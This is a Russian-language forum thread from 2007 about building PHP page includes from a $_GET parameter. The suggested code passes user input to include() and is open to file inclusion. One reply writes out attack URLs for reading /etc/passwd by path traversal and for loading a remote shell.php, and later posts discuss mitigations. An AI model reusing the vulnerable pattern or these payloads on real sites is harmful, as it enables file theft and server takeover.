Вернуться   Нижегородский Форум Друзей > Обсуждаем и качаем > Софт > Языки и программирование
Забыли пароль? Регистрация




Ответ
 
Опции темы Опции просмотра
Старый 25.06.2007, 11:17   #1
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию Вопрос по $_GET на PHP.

Вот к примеру юзаю такую конструкцию:

<?php
$page = $_GET['page'];
echo " <li><a href=/files/qwerty.doc>Главная </a></li>
<li><a href=\"?page=1.php\">Лабы</a></li>
<li><a href=\"?page=lekcii.php\">Лекции</a></li>
";
?>


Потом в нужном слое подключаю страницу вот так:

<?php include("$page");?>

Естественно при первом заходе на страницу возникает ошибка, т.к. в $_GET['page'] ничего еще не передано, когда начинаю по ссылкам ходить - все нормально. Как исправить? Собственно интересует, как сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" .

P.S.: ссылки на учебники не давать , имеются в наличии.
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041

Последний раз редактировалось Tretyak; 25.06.2007 в 11:26.
Tretyak вне форума  
Ответить с цитированием
Старый 25.06.2007, 15:19   #2
Знакомый
 
Аватар для freelsd
 
Регистрация: 25.05.2007
Пол: М
Сообщений: 48
Поблагодарил: 29
Поблагодарили 37 раз в 15 сообщениях
Открыли хайд :
0 в этом сообщении
0 Всего


По умолчанию

[PHP]<?php

// проверяем, есть ли вообще в массиве $_GET элемент "page"

if ( isset ( $_GET [ "page" ] ))
{
$filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов

// проверяем существование файла, который надо подключить

if ( is_file ( $filename ))
{
// подключаем нужный файл
include ( $filename );
}
else
{
// выводим сообщение, что файла такого нет
print "Страница не найдена";
}
}
else // если в $_GET ничего не передается
{
print "Неверный URL.";
}
[/PHP]
__________________
«мне не нужно много, достаточного самого лучшего»
freelsd вне форума  
Ответить с цитированием
Этот пользователь сказал Спасибо freelsd за это полезное сообщение:
Tretyak (25.06.2007)
Старый 25.06.2007, 20:42   #3
Товарищ
 
Аватар для CRAZY
 
Регистрация: 30.04.2007
Пол: M
Провайдер: ВолгаТелеком
Сообщений: 268
Поблагодарил: 110
Поблагодарили 147 раз в 62 сообщениях
Открыли хайд :
0 в этом сообщении
2 Всего


По умолчанию

шобы сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" , существует 2 метода форм - это method=post, и method=get (это в хтмл), пользовался на перле...
__________________
[Для просмотра данной ссылки нужно зарегистрироваться]
CRAZY вне форума  
Ответить с цитированием
Старый 25.06.2007, 20:58   #4
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

2freelsd.
Спасибо, попробую.

2Crazy.
Это понятно блин , ты написал бы КАК это сделать, пример конкретный.
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041
Tretyak вне форума  
Ответить с цитированием
Старый 25.06.2007, 22:00   #5
Товарищ
 
Аватар для CRAZY
 
Регистрация: 30.04.2007
Пол: M
Провайдер: ВолгаТелеком
Сообщений: 268
Поблагодарил: 110
Поблагодарили 147 раз в 62 сообщениях
Открыли хайд :
0 в этом сообщении
2 Всего


По умолчанию

Вот так было в мойом скрипте перлоффском:
<form action="/cgi-bin/index.cgi" method="post или get">
ИМЯ:<input type="text" name="name" action="http://localhost/cgi-bin/index.cgi">
</input>
<br>ПАРОЛЬ: <input type="password" name="pass" action="http://localhost/cgi-bin/index.cgi">
</input>
<br><input name="submit" type="submit" value="ОТПРАВИТЬ">
</input>
</form>
__________________
[Для просмотра данной ссылки нужно зарегистрироваться]
CRAZY вне форума  
Ответить с цитированием
Старый 25.06.2007, 22:16   #6
Товарищ
 
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд :
0 в этом сообщении
4 Всего


По умолчанию

2 ТопикСтартер
Это самописный двиг или паблик?
[Для просмотра данной ссылки нужно зарегистрироваться])
SeRaS-Home / Произошла ошибка!
Вам закрыт доступ на сайт. Причина: Попытка внедрить XXS

Что такое XXS? Может XSS?
Spyder вне форума  
Ответить с цитированием
Старый 26.06.2007, 01:08   #7
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

Самописный баг .

2Крейзи.
У меня-то не форма, а просто ссылки или я чего-то не догоняю.
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041
Tretyak вне форума  
Ответить с цитированием
Старый 26.06.2007, 02:07   #8
Заслуженные
 
Аватар для Crantisz
 
Регистрация: 19.04.2007
Адрес: slonstudio.org
Пол: M
Провайдер: ВТ
Сообщений: 892
Поблагодарил: 271
Поблагодарили 495 раз в 221 сообщениях
Открыли хайд :
0 в этом сообщении
19 Всего


По умолчанию

собственно freelsd все правильно написал, от себя лишь хочется добавить, что я бы не выводил сообщения об ошибке, а просто сделал бы редерект на нужный адрес с соответствующим параметром.
Делается это так
Код:
header("Location: http://www.adress.ru/index.php?page=1.php");
__________________
crantisz@jabber.ru
P.S.
Crantisz вне форума  
Ответить с цитированием
Старый 26.06.2007, 10:22   #9
Приятель
 
Аватар для sidor
 
Регистрация: 23.03.2006
Адрес: Санкт-Петербург
Пол: М
Сообщений: 158
Поблагодарил: 1
Поблагодарили 56 раз в 8 сообщениях
Открыли хайд :
0 в этом сообщении
1 Всего


По умолчанию

Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться]
А это не есть гут...
__________________
01000100 01101111 01101110 00100111 01110100 00100000 01100110
01110101 01100011 01101011 00100000 01101101 01111001 00100000
01100010 01110010 01100001 01101001 01101110 00101100 00100000
01100110 01110101 01100011 01101011 00100000 01111001 01101111
01110101 01110010 01110011 01100101 01101100 01100110 00100001
sidor вне форума  
Ответить с цитированием
Старый 26.06.2007, 13:34   #10
Приятель
 
Аватар для dimazzz
 
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд :
0 в этом сообщении
13 Всего


По умолчанию

немного дополню код freelsd

[php]
<?php

// проверяем, есть ли вообще в массиве $_GET элемент "page"

if ( isset ( $_GET [ "page" ] ))
{
$filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов

//добавим расширение к имени файла
$filename .= ".php";
// проверяем существование файла, который надо подключить

if ( is_file ( $filename ))
{
// подключаем нужный файл
include ( $filename );
}
else
{
// выводим сообщение, что файла такого нет
print "Страница не найдена";
}
}
else // если в $_GET ничего не передается
{ //то выводим html форму
$string = <<<HTML;
<form action="" method="get" onchange="submit()">
<select name="page">
<option value="lekcii">Лекции</option>
<option value="knigi">Книги</option>
</select>
</form>
HTML;
print $string;
}
[/php]

в итоге по запросу адреса [Для просмотра данной ссылки нужно зарегистрироваться]
будет подгружаться файл knigi.php
dimazzz вне форума  
Ответить с цитированием
Этот пользователь сказал Спасибо dimazzz за это полезное сообщение:
Tretyak (27.06.2007)
Старый 26.06.2007, 17:27   #11
Товарищ
 
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд :
0 в этом сообщении
4 Всего


По умолчанию

Цитата:
Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться]
А это не есть гут...
Тогда уж
Код:
http://www.adress.ru/index.php?page=../../../../../etc/passwd
или ещё лучше
Код:
http://www.adress.ru/index.php?page=http://megaxeksite.narod.ru/shell.php

Ну в данном случае не катит, я проверял
Spyder вне форума  
Ответить с цитированием
Старый 27.06.2007, 01:18   #12
Знакомый
 
Аватар для freelsd
 
Регистрация: 25.05.2007
Пол: М
Сообщений: 48
Поблагодарил: 29
Поблагодарили 37 раз в 15 сообщениях
Открыли хайд :
0 в этом сообщении
0 Всего


По умолчанию

ну, если мы тут вообще разводим "в гостях у сказки", тогда и проверять лучше не $filename . ".php", а dirname( __FILE__ ) . "/" . $filename, и выводить файлы стал бы не через include, а через strip_tags ( file_get_contents ( $filename ) , "<p><b><i><u><a><img><h1>..." );
__________________
«мне не нужно много, достаточного самого лучшего»
freelsd вне форума  
Ответить с цитированием
Старый 27.06.2007, 13:47   #13
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

Спасибо, парни.
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041
Tretyak вне форума  
Ответить с цитированием
Старый 27.06.2007, 14:13   #14
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

Цитата:
Сообщение от sidor Посмотреть сообщение
Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, А это не есть гут...
Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "


Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта

$string = <<<HTML;
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041

Последний раз редактировалось Tretyak; 27.06.2007 в 14:25.
Tretyak вне форума  
Ответить с цитированием
Старый 27.06.2007, 15:46   #15
Товарищ
 
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд :
0 в этом сообщении
4 Всего


По умолчанию

Цитата:
Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "
Инклуд удобная функция, но опасная
Можно сделать так, создай на серве папку, например /includes/ и заливаешь туда свои файлы, которые нужно инклудить через $_GET
Естественно изменяешь скрипт с
include ( $filename );
на
include ( "/includes/"$filename );

Ещё можно добавить фильтрацию некоторых символов, например: "\" "/" "." ":"
Их часто используют при проведении PHP-Injection
Spyder вне форума  
Ответить с цитированием
Старый 27.06.2007, 16:18   #16
Приятель
 
Аватар для dimazzz
 
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд :
0 в этом сообщении
13 Всего


По умолчанию

Цитата:
Сообщение от Tretyak Посмотреть сообщение
Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "


Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта

$string = <<<HTML;
ну естественно! убери сивол ";" в конце 100 строки
прошу прощенья - на автомате поставил
dimazzz вне форума  
Ответить с цитированием
Старый 27.06.2007, 17:01   #17
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

А что она хоть делает эта строка тогда?
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041
Tretyak вне форума  
Ответить с цитированием
Старый 27.06.2007, 17:07   #18
Приятель
 
Аватар для dimazzz
 
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд :
0 в этом сообщении
13 Всего


По умолчанию

все, начиная со строки
$string = <<<HTML
и заканчивая строкой
HTML;
будет восприниматься php как html код и будет помещено в переменную $string;
а потом мы просто выводим переменную $string
dimazzz вне форума  
Ответить с цитированием
Старый 27.06.2007, 17:14   #19
Дружище
 
Аватар для Tretyak
 
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд :
0 в этом сообщении
5 Всего


По умолчанию

Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.
__________________
http://forum.friends.nnov.ru/image.php?type=sigpic&userid=1154&dateline=1228731041
Tretyak вне форума  
Ответить с цитированием
Старый 28.06.2007, 08:53   #20
Приятель
 
Аватар для dimazzz
 
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд :
0 в этом сообщении
13 Всего


По умолчанию

Цитата:
Сообщение от Tretyak Посмотреть сообщение
Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.
Убедись, что на срочке $string = <<<HTML
больше ничего нет после HTML
тогда заработает
dimazzz вне форума  
Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Выкл.
Refbacks are Выкл.


Часовой пояс GMT +3, время: 01:33.